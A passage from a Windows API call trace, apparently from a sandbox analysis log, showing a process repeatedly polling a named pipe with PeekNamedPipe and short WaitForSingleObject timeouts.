lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.748] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.765] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.766] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.609] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.609] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.733] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.733] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.765] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.782] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0130.177] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0130.178] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0130.201] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0130.201] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.402] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.402] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.645] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.646] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.720] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.720] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.061] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.061] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.089] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.090] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.160] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.160] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.253] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.253] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.316] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.316] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.464] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.465] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.576] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.578] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.604] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.606] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.724] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.725] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.821] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.821] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.028] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.028] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.061] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.061] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.112] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.112] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.155] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.155] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.194] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.194] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.247] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.247] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.274] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.274] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.876] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.876] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.899] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.899] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.929] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.929] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.976] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.976] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.007] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.007] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.038] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.039] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.078] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.078] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.100] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.101] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.132] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.132] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.163] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.163] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.194] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.194] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.226] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.226] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.257] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.257] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.291] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.292] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.319] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.319] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.350] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.350] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.383] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.383] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.413] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.413] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.444] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.444] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.475] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.475] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.517] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.517] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.537] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.537] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.574] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.575] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.600] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.600] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.631] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.631] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.662] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.662] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.698] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.698] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.724] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.725] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.765] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.765] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.787] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.787] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.818] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.818] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.849] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.849] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.881] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.881] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.912] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.912] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.953] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.953] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.974] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.974] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.009] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.010] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.037] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.037] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.068] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.068] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.099] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.099] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.130] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.130] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.161] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, 